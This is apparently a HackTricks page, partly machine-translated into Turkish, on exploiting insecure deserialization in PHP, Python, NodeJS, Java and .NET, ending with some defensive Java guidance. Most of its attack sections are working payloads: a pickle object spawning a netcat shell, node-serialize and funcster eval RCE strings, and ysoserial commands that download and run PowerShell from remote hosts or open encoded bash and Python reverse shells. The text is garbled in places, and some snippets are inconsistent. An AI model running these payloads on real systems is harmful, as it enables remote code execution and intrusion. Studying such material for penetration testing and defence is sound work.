Deserialization

Support HackTricks

Basic Information

Serileştirme, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur.

Deserialization ise, serileştirmenin tersine olan süreçtir. Belirli bir formatta yapılandırılmış verileri alıp, tekrar bir nesne haline getirmeyi içerir.

Deserialization tehlikeli olabilir çünkü bu, saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmasına veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar oluşturmasına olanak tanır.

PHP

PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yöntemler kullanılır:

  • __sleep: Bir nesne serileştirildiğinde çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarını içeren bir dizi döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır.

  • __wakeup: Bir nesne deserialized edildiğinde çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.

  • __unserialize: Bu yöntem, bir nesne deserialized edilirken __wakeup yerine çağrılır (varsa). Deserialization süreci üzerinde __wakeup'a göre daha fazla kontrol sağlar.

  • __destruct: Bu yöntem, bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır.

  • __toString: Bu yöntem, bir nesnenin bir dize olarak işlenmesine olanak tanır. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel temsilini etkili bir şekilde sağlar.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Eğer sonuçlara bakarsanız, nesne serileştirildiğinde __wakeup ve __destruct fonksiyonlarının çağrıldığını görebilirsiniz. Bazı eğitimlerde __toString fonksiyonunun bir niteliği yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu artık olmuyor.

Eğer sınıfta uygulanmışsa, __unserialize(array $data) metodu __wakeup() yerine çağrılır. Bu, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi serileştirmeye olanak tanır. Bu metodu, özellikleri serileştirmek ve serileştirme sırasında gerekli görevleri yerine getirmek için kullanabilirsiniz.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Açıklamalı bir PHP örneğini burada okuyabilirsiniz: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, burada https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf veya burada https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Sınıfları

Arbitrary php dosyalarını yüklemek için PHP autoload işlevselliğini kötüye kullanabilirsiniz:

PHP - Deserialization + Autoload Classes

Referans Değerleri Seri Hale Getirme

Herhangi bir nedenle bir değeri başka bir seri hale getirilmiş değere referans olarak seri hale getirmek istiyorsanız:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC PHP deserialization'larını kötüye kullanmak için payload'lar oluşturmanıza yardımcı olabilir. Uygulamanın kaynak kodunda bir deserialization'ı kötüye kullanmanın bir yolunu bulamayabileceğinizi unutmayın, ancak harici PHP uzantılarının kodunu kötüye kullanabilirsiniz. Bu nedenle, mümkünse, sunucunun phpinfo()'sunu kontrol edin ve internette (hatta PHPGGC'nin gadgets'lerinde) kötüye kullanabileceğiniz bazı olası gadget'ları arayın.

phar:// metadata deserialization

Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()** gibi fonksiyonlar kullanarak.** phar protokolünü kullanarak bir dosya okurken meydana gelen bir deserialization'ı kötüye kullanmayı deneyebilirsiniz. Daha fazla bilgi için aşağıdaki gönderiyi okuyun:

phar:// deserialization

Python

Pickle

Nesne unpickle edildiğinde, __reduce__ fonksiyonu çalıştırılacaktır. Kötüye kullanıldığında, sunucu bir hata dönebilir.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you're running python3.

For more information about escaping from pickle jails check:

Bypass Python sandboxes

Yaml & jsonpickle

Aşağıdaki sayfa, yamls python kütüphanelerinde güvensiz deserialization'ı istismar etme tekniğini sunmakta ve Pickle, PyYAML, jsonpickle ve ruamel.yaml için RCE deserialization yükü oluşturmak için kullanılabilecek bir araçla bitmektedir:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS PHP veya Python gibi "sihirli" fonksiyonlara sahip değildir, sadece bir nesne oluşturmak için çalıştırılacak. Ancak, doğrudan çağrılmadan bile sıklıkla kullanılan bazı fonksiyonlar vardır, örneğin toString, valueOf, toJSON. Eğer bir deserialization'ı istismar ederseniz, bu fonksiyonları diğer kodları çalıştırmak için tehlikeye atabilirsiniz (potansiyel olarak prototype pollution'ı istismar ederek) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz.

Bir fonksiyonu doğrudan çağırmadan çağırmanın başka bir "sihirli" yolu, bir async fonksiyondan dönen bir nesneyi tehlikeye atmaktır (promise). Çünkü, eğer o dönüş nesnesini **"then" adında bir fonksiyon türünde bir özellik ile başka bir promise'e dönüştürürseniz, başka bir promise tarafından döndürüldüğü için çalıştırılacaktır. Daha fazla bilgi için bu bağlantıyı takip edin.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ ve prototype kirlenmesi

Bu tekniği öğrenmek istiyorsanız aşağıdaki eğitime göz atın:

NodeJS - __proto__ & prototype Pollution

Bu kütüphane fonksiyonları serileştirmeye olanak tanır. Örnek:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Serileştirilmiş nesne şöyle görünecektir:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Örnekte, bir fonksiyon serileştirildiğinde _$$ND_FUNC$$_ bayrağının serileştirilmiş nesneye eklendiğini görebilirsiniz.

node-serialize/lib/serialize.js dosyasında aynı bayrağı ve kodun bunu nasıl kullandığını bulabilirsiniz.

Son kod parçasında görebileceğiniz gibi, eğer bayrak bulunursa eval fonksiyonu kullanılarak fonksiyon serileştirilir, bu nedenle temelde kullanıcı girişi eval fonksiyonu içinde kullanılmaktadır.

Ancak, sadece bir fonksiyonu serileştirmek onu çalıştırmaz, çünkü kodun bir kısmının y.rce'yi çağırması gerekir ve bu oldukça olasılık dışıdır. Yine de, serileştirilmiş nesneyi değiştirerek bazı parantezler ekleyerek nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz. Son kod parçasında son parantezi ve unserialize fonksiyonunun kodu nasıl otomatik olarak çalıştıracağını fark edin:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Daha önce belirtildiği gibi, bu kütüphane _$$ND_FUNC$$_ sonrasındaki kodu alacak ve çalıştıracak eval kullanarak. Bu nedenle, otomatik olarak kod çalıştırmak için fonksiyon oluşturma kısmını ve son parantezi silip sadece bir JS tek satırı çalıştırabilirsiniz aşağıdaki örnekteki gibi:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

You can find here bu güvenlik açığını nasıl istismar edeceğiniz hakkında daha fazla bilgi.

funcster'ın dikkate değer bir yönü, standart yerleşik nesnelerin erişilemezliğidir; bunlar erişilebilir kapsamın dışındadır. Bu kısıtlama, yerleşik nesneler üzerinde yöntemleri çağırmaya çalışan kodun çalıştırılmasını engeller ve console.log() veya require(something) gibi komutlar kullanıldığında "ReferenceError: console is not defined" gibi istisnalara yol açar.

Bu sınırlamaya rağmen, tüm standart yerleşik nesneler dahil olmak üzere küresel bağlama tam erişimin geri kazanılması, belirli bir yaklaşım aracılığıyla mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Daha fazla bilgi için bu kaynağı okuyun source.

serialize-javascript paketi yalnızca serileştirme amaçları için tasarlanmıştır ve yerleşik bir deserialization yeteneği yoktur. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmi örnek, serileştirilmiş verileri deserializing etmek için eval'in doğrudan kullanımını önermektedir:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Eğer bu fonksiyon nesneleri deseralize etmek için kullanılıyorsa, bunu kolayca istismar edebilirsiniz:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Daha fazla bilgi için bu kaynağı okuyun source.

Cryo kütüphanesi

Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutlar çalıştırma hakkında bilgi bulabilirsiniz:

Java - HTTP

Java'da, deserialization geri çağırmaları deserialization süreci sırasında çalıştırılır. Bu yürütme, bu geri çağırmaları tetikleyen kötü niyetli yükler oluşturan saldırganlar tarafından istismar edilebilir ve zararlı eylemlerin potansiyel olarak yürütülmesine yol açabilir.

Parmak İzleri

Beyaz Kutu

Kod tabanında potansiyel serileştirme zafiyetlerini tanımlamak için arama yapın:

  • Serializable arayüzünü uygulayan sınıflar.

  • java.io.ObjectInputStream, readObject, readUnshare fonksiyonlarının kullanımı.

Aşağıdakilere ekstra dikkat edin:

  • Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan XMLDecoder.

  • XStream'in fromXML metodu, özellikle XStream sürümü 1.46 veya daha düşükse, çünkü serileştirme sorunlarına duyarlıdır.

  • readObject metodu ile birlikte kullanılan ObjectInputStream.

  • readObject, readObjectNodData, readResolve veya readExternal gibi yöntemlerin uygulanması.

  • ObjectInputStream.readUnshared.

  • Genel Serializable kullanımı.

Siyah Kutu

Siyah kutu testleri için, java serileştirilmiş nesnelerini belirten belirli imzalar veya "Sihirli Baytlar" arayın ( ObjectInputStream'den kaynaklanan):

  • Onaltılık desen: AC ED 00 05.

  • Base64 deseni: rO0.

  • Content-type başlığı application/x-java-serialized-object olarak ayarlanmış HTTP yanıt başlıkları.

  • Önceki sıkıştırmayı belirten onaltılık desen: 1F 8B 08 00.

  • Önceki sıkıştırmayı belirten Base64 deseni: H4sIA.

  • .faces uzantısına sahip web dosyaları ve faces.ViewState parametresi. Bu desenleri bir web uygulamasında keşfetmek, Java JSF ViewState Deserialization hakkında detaylı bir inceleme yapılmasını gerektirmelidir.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Açık olup olmadığını kontrol et

Eğer Java Deserialized exploitinin nasıl çalıştığını öğrenmek istiyorsanız Basic Java Deserialization, Java DNS Deserialization ve CommonsCollection1 Payload belgelerine göz atmalısınız.

Beyaz Kutu Testi

Bilinen güvenlik açıklarına sahip herhangi bir uygulamanın kurulu olup olmadığını kontrol edebilirsiniz.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet. You could also use gadgetinspector to search for possible gadget chains that can be exploited. When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability. Read this to learn more about GadgetProbe. GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them. Read this to learn more about Java Deserialization Scanner. Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads. You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp). If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example). Note that this tool is focused on exploiting ObjectInputStream. I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

When creating a payload for java.lang.Runtime.exec() you özel karakterler kullanamazsınız, örneğin ">" veya "|" çıktıyı yönlendirmek için, "$()" komutları çalıştırmak için veya hatta argümanları bir komuta boşluklarla ayırarak geçiremezsiniz ( echo -n "hello world" yapabilirsiniz ama python2 -c 'print "Hello world"' yapamazsınız). Payload'ı doğru bir şekilde kodlamak için bu web sayfasını kullanabilirsiniz.

Tüm olası kod yürütme payload'larını Windows ve Linux için oluşturmak ve ardından bunları savunmasız web sayfasında test etmek için aşağıdaki scripti kullanmaktan çekinmeyin:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

You can use https://github.com/pwntester/SerialKillerBypassGadgetCollection birlikte ysoserial ile daha fazla exploit oluşturmak için. Bu aracın daha fazla bilgisi, aracın sunulduğu konuşmanın slaytlarında bulunmaktadır: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec farklı Json ve Yml serileştirme kütüphanelerini Java'da istismar etmek için yükler oluşturmak için kullanılabilir. Projeyi derlemek için pom.xml dosyasına bu bağımlılıkları eklemem gerekti:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Maven'ı kurun ve projeyi derleyin:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Bu Java JSON kütüphanesi hakkında daha fazla bilgi edinin: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Neden

Java, çeşitli amaçlar için çok fazla serileştirme kullanır:

  • HTTP istekleri: Serileştirme, parametrelerin, ViewState'in, çerezlerin vb. yönetiminde yaygın olarak kullanılmaktadır.

  • RMI (Uzak Yöntem Çağrısı): Tamamen serileştirmeye dayanan Java RMI protokolü, Java uygulamalarında uzak iletişim için bir köşe taşıdır.

  • HTTP üzerinden RMI: Bu yöntem, tüm nesne iletişimleri için serileştirmeyi kullanan Java tabanlı kalın istemci web uygulamaları tarafından yaygın olarak kullanılmaktadır.

  • JMX (Java Yönetim Uzantıları): JMX, nesneleri ağ üzerinden iletmek için serileştirmeyi kullanır.

  • Özel Protokoller: Java'da, standart uygulama, ham Java nesnelerinin iletimini içerir; bu, gelecek istismar örneklerinde gösterilecektir.

Önleme

Geçici nesneler

Serializable arayüzünü uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde transient olarak işaretleyebilir. Örneğin:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializable'ı Uygulaması Gereken Bir Sınıfın Serileştirilmesinden Kaçının

Belirli nesnelerin sınıf hiyerarşisi nedeniyle Serializable arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, sürekli bir istisna fırlatan final bir readObject() metodu tanımlayarak bu nesnelerin deserializable olmadığından emin olun:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java'da Deserialization Güvenliğini Artırma

java.io.ObjectInputStream'i Özelleştirmek, deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem, aşağıdaki durumlarda uygundur:

  • Deserialization kodu kontrolünüz altındadır.

  • Deserialization için beklenen sınıflar biliniyor.

Deserialization'ı yalnızca izin verilen sınıflarla sınırlamak için resolveClass() yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, örneğin deserialization'ı yalnızca Bicycle sınıfıyla sınırlayan aşağıdaki örnekte olduğu gibi, deserialization'ını önler:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Güvenlik Geliştirmesi için Java Ajansı Kullanımı kod değişikliğinin mümkün olmadığı durumlarda bir geri dönüş çözümü sunar. Bu yöntem esasen zararlı sınıfların kara listeye alınması için bir JVM parametresi kullanır:

-javaagent:name-of-agent.jar

Dinamik olarak deserialization'ı güvence altına almanın bir yolunu sağlar, anlık kod değişikliklerinin pratik olmadığı ortamlarda idealdir.

rO0 by Contrast Security örneğine bakın.

Serileştirme Filtrelerinin Uygulanması: Java 9, serileştirilmiş nesnelerin deserialization işleminden önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağlayan ObjectInputFilter arayüzü aracılığıyla serileştirme filtrelerini tanıttı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir.

Serileştirme filtrelerini kullanmak için, tüm deserialization işlemlerine uygulanan küresel bir filtre ayarlayabilir veya belirli akışlar için dinamik olarak yapılandırabilirsiniz. Örneğin:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Dış Kütüphaneleri Kullanarak Güvenliği Artırma: NotSoSerial, jdeserialize ve Kryo gibi kütüphaneler, Java deserialization'ını kontrol etme ve izleme için gelişmiş özellikler sunar. Bu kütüphaneler, deserialization'dan önce serileştirilmiş nesneleri analiz etme ve özel serileştirme stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.

  • NotSoSerial, güvensiz kodun çalıştırılmasını önlemek için deserialization süreçlerini engeller.

  • jdeserialize, serileştirilmiş Java nesnelerinin deserialization'ını yapmadan analiz edilmesine olanak tanır ve potansiyel olarak zararlı içeriği tanımlamaya yardımcı olur.

  • Kryo, hız ve verimliliğe vurgu yapan alternatif bir serileştirme çerçevesidir ve güvenliği artırabilecek yapılandırılabilir serileştirme stratejileri sunar.

Referanslar

JNDI Enjeksiyonu & log4Shell

JNDI Enjeksiyonu nedir, RMI, CORBA & LDAP aracılığıyla nasıl kötüye kullanılır ve log4shell'i nasıl istismar edilir (ve bu zafiyetin bir örneği) aşağıdaki sayfada bulabilirsiniz:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Mesaj Servisi

Java Mesaj Servisi (JMS) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürümü (Java EE) bir parçasıdır ve Sun Microsystems'te geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Uygulama bileşenlerinin Java EE tabanlı olarak mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Farklı bileşenler arasında iletişimi gevşek bir şekilde bağlanmış, güvenilir ve asenkron hale getirir. (Kaynak: Wikipedia).

Ürünler

Bu ara yazılımı kullanarak mesaj gönderen birkaç ürün bulunmaktadır:

İstismar

Temelde, tehlikeli bir şekilde JMS kullanan birçok hizmet vardır. Bu nedenle, bu hizmetlere mesaj göndermek için yeterli ayrıcalıklara sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), tüketici/abone tarafından deserialization yapılacak zararlı nesneler serileştirebilirsiniz. Bu, bu istismarda o mesajı kullanacak tüm istemcilerin enfekte olacağı anlamına gelir.

Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa) ancak yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir.

JMET aracı, bilinen gadget'lar kullanarak birkaç zararlı nesne serileştirerek bu hizmetlere bağlanmak ve saldırmak için oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde ise çalışacaktır.

Referanslar

.Net

.Net bağlamında, deserialization istismarları, bir nesnenin deserialization'ı sırasında belirli kodları çalıştırmak için gadget'ların istismar edilmesi gibi çalışır.

Parmak İzi

Beyaz Kutu

Kaynak kodu, aşağıdaki durumların varlığı için incelenmelidir:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

